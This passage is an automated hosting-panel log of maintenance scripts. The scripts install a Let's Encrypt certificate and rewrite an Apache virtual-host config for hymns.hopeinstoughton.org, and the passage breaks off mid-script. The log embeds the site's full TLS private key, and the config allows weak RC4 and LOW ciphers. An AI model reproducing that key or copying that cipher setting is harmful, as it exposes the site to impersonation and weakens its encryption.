MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-30 06:00:03: Establishing a connection
2025-10-30 06:00:04: Establishing a connection
2025-10-30 06:00:06: 

PUT: /tmp/pkp613867

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-30 06:00:06: 

chmod 755 /tmp/pkp613867; /tmp/pkp613867; rm /tmp/pkp613867

2025-10-30 06:00:07: 


0


2025-10-31 06:00:02: Establishing a connection
2025-10-31 06:00:04: Establishing a connection
2025-10-31 06:00:05: 

PUT: /tmp/pkp475345

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-31 06:00:06: 

chmod 755 /tmp/pkp475345; /tmp/pkp475345; rm /tmp/pkp475345

2025-10-31 06:00:06: 


0


2025-10-31 06:00:06: Establishing a remote connection
2025-11-01 06:00:03: Establishing a connection
2025-11-01 06:00:04: Establishing a connection
2025-11-01 06:00:05: 

PUT: /tmp/pkp906475

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-01 06:00:06: 

chmod 755 /tmp/pkp906475; /tmp/pkp906475; rm /tmp/pkp906475

2025-11-01 06:00:06: 


0


2025-11-01 06:00:07: Establishing a remote connection
2025-11-02 06:00:03: Establishing a connection
2025-11-02 06:00:04: Establishing a connection
2025-11-02 06:00:05: 

PUT: /tmp/pkp712434

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-02 06:00:06: 

chmod 755 /tmp/pkp712434; /tmp/pkp712434; rm /tmp/pkp712434

2025-11-02 06:00:06: 


0


2025-11-02 06:00:06: Establishing a remote connection
2025-11-03 06:00:03: Establishing a connection
2025-11-03 06:00:04: Establishing a connection
2025-11-03 06:00:05: 

PUT: /tmp/pkp713175

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:00:06: 

chmod 755 /tmp/pkp713175; /tmp/pkp713175; rm /tmp/pkp713175

2025-11-03 06:00:06: 


0


2025-11-03 06:00:33: Establishing a connection
2025-11-03 06:00:34: 

PUT: /tmp/pkp162044

#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4

cat > $temp_file <<'endmsg'
69:47:48:65:94:36:9b:5a:36:f2:ea:91:d8:36:c9:9a

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBrVNrZU/kxnm0mnDfOsbB7GKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMjAyWhcNMjYwMjAxMDUwMjAxWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAw0IjFZufblJPAgDOnQ23li8zXC0E8yZCPGvLnNvlFgdQazby
3HdvZQUZ1Hib5a/paJhTzEJ2o3YCkcE9TghZ6Oy1p/3s9qIyrV161vYL9xjfZonH
IOpTpdh0RfrzwLAee9w8yb6Tl7NuXYSfoSKYlN/kLSqIv0ZowgaWmQdAbMhXsC40
sQ00/kH2EJ1tYr8WpqH4S+Xp2hp4+ha4y6mYs/JfxsZSyTFyNBbS3Uz97/ArD27l
VCcUf3kJ+zIh/0CTHNY3mypyPoSR25/ic0IMk/DakrgdYCkmuw4j9K8lX0yZeDRz
tEa6x5w7E1aKBNU9y8dBdX1h+KkEL/d2OvYX1wIDAQABo4ICKjCCAiYwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBQcAnxGz0TyLMy6MpZKCgo7qMcGbTAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMS5jcmwwggEFBgorBgEE
AdZ5AgQCBIH2BIHzAPEAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY
5wAAAZpITYtJAAAEAwBHMEUCIEoY+WIT5+z11s8FpWzLv3lw4UhFgEhd4ORcDQWy
ufPKAiEA89h4McCrDb2ov1+qywUpTe7Lbs6kO7S78ewFLNsN9poAdwCWl2S/VViX
rfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZpITYtyAAAEAwBIMEYCIQDmhSGP
0t/1nXIh42niEn6AKtTn8VaBvK9UwoQsHTzTzQIhAIseT6LFdsBWZUOzrYssKCmJ
pVutga5lOzpf/U5WrHIYMA0GCSqGSIb3DQEBCwUAA4IBAQADMP5gd+YDPzzyd9Dd
1QwbyztURrmcy1aYvh001Lij06up7I04xXvMq9Ya3tzPbzZS4RXX8eL4bqeujR1e
5X5lrwEYj9Kthq7rjAn81KBUeBHCA2zVk8R2MoMSFxVVcYtYowm4vfsD4/OrdfHQ
lZfqYRxxqKOn86JYSE6hBtkhj6D5IxmboT9vIktAVPQuPjS/0McqK3cBPqRyjeb2
p4iLDtLDXo4KduhryN2XevogHqKSHjw0DiQJxnc0t+GKnnpszglw7bNqo8HQr6Ft
aaM6MQZlAfUSEWEZv+CFskKZFbNRvWW4U/x5Z/TruLWgxRGtqleacKVID31k9BxL
yvgB
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDDQiMVm59uUk8C
AM6dDbeWLzNcLQTzJkI8a8uc2+UWB1BrNvLcd29lBRnUeJvlr+lomFPMQnajdgKR
wT1OCFno7LWn/ez2ojKtXXrW9gv3GN9miccg6lOl2HRF+vPAsB573DzJvpOXs25d
hJ+hIpiU3+QtKoi/RmjCBpaZB0BsyFewLjSxDTT+QfYQnW1ivxamofhL5enaGnj6
FrjLqZiz8l/GxlLJMXI0FtLdTP3v8CsPbuVUJxR/eQn7MiH/QJMc1jebKnI+hJHb
n+JzQgyT8NqSuB1gKSa7DiP0ryVfTJl4NHO0RrrHnDsTVooE1T3Lx0F1fWH4qQQv
93Y69hfXAgMBAAECggEBAK20pb+wXcpogQ84JpdDv8JlJVzoVBH4RE66Wz6lxYyu
XxWyoaYOvtPxEMSbs51HvO8nLM13h1HuR2Ths6c6+Lml9AmKdggHzeu7UO/xnj1q
LDxtb/BRZq8Q/IfRNI6EX+oyyQV1fJolr5aUyOox++ndsIGZ6GO5wLJz6AAlmmPq
3Uv8vRRsU0GSiEi3wUHXcv9CjLgUvPMpYbNOrXo9ipeCc9Xx8yN7RTit/5jI/5xo
SrMkdSvOqg4gqJBBVPqhnVbrvRhVMjctNnMJX1ihHfZoF1dJOpsFjl1cQSzI1b9r
U48FxnAQWCWeblQUmv1bU0Z7kNYS3y2WIBmQEtwWbxkCgYEA5weB3va3LYZIoojR
n/UgGClk6ezEF0X7nNzgxw9PU7WzbTly+9sYiTBJ0MqiHH4pjnoB5q8HXAjG+4r6
+67/xLVCg+dFjSgPEmj1SoB3KPf9fAzSoD93Y4cBp6ut0f+DHguNNavqJMQ4SAw3
Bhsa3uigzp/p+7p2o43gj0+ajeUCgYEA2FzcS78rKaSjfXdmheqHbLkPvhvAoGDe
eRIqgu2ya8k/ggsevbxTPnhKCnXc8qRCBmJCKRlZve5h+RPENZAmkQ/fqebqIXk4
eJM78BzEXtcyO/ThrrDJ0Xy0tt9HGlF7Nxnn+qNdOwNQMNKNO9C5oDX9HtWcuFY1
g5BT458CEwsCgYEA2AFJ6Qitre/em7DmpfMPJegWBS0tDkGNhlVyCEwFNFQvxZCw
NFDeeO5gJco/lfpTqnXirye47tD6EpgYIBe35dg/r4odmmP465KcvSKtxu1O4Jww
lkmgu7qvznAS3cRTeFT+m074ZZXctWhOTfQrxHymVWpo38awRC1T50pbTA0CgYB0
JV1I+EWGZFAzcR5DM0QhlDKkPieosHedDKhvgoQuImmKOMf22JrjRRWSCfVi99RN
sv+LKoWnVMmZOQgyLMDXTGsnvMLg1z7+UyNw4TB1LRZVYz6nVVXxs/0a0j9MHIOF
b829GWdZ34xzuQOCIakUHQdVPxyTRAwUJS0zWs91QwKBgHZ6iAfzXc+Inz5Z4/JR
YdVMp52helXJoCxvVBDp4J5DuoMXQzeEA2AV7o49NDiSiyE/xdxTFRXQKg18xvvQ
9gBQ2myqOywFyJlcclKOTmOaQMAoBYvwzw54wHqKvmx3y4btIM06AqG9RT8hi0BU
u6V8yMvKzkrEN65mlZJiTrMU
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:00:35: 

chmod 755 /tmp/pkp162044; /tmp/pkp162044; rm /tmp/pkp162044

2025-11-03 06:00:35: 


dir=/etc/ssl/certs


2025-11-03 06:00:35: 

PUT: /tmp/pkp478062

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:00:35: 

chmod 755 /tmp/pkp478062; /tmp/pkp478062; rm /tmp/pkp478062

2025-11-03 06:00:36: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 49
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>






2025-11-03 06:00:36: 

PUT: /tmp/pkp147235

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf= 1'
fi


2025-11-03 06:00:36: 

chmod 755 /tmp/pkp147235; /tmp/pkp147235; rm /tmp/pkp147235

2025-11-03 06:00:36: 




2025-11-03 06:00:36: 

PUT: /tmp/pkp572827

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:00:37: 

chmod 755 /tmp/pkp572827; /tmp/pkp572827; rm /tmp/pkp572827

2025-11-03 06:00:37: 


.


2025-11-03 06:00:37: Establishing a connection
2025-11-03 06:00:38: 

PUT: /tmp/pkp518124

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:00:39: 

chmod 755 /tmp/pkp518124; /tmp/pkp518124; rm /tmp/pkp518124

2025-11-03 06:00:39: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-11-03 06:00:39: 

PUT: /tmp/pkp549804

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
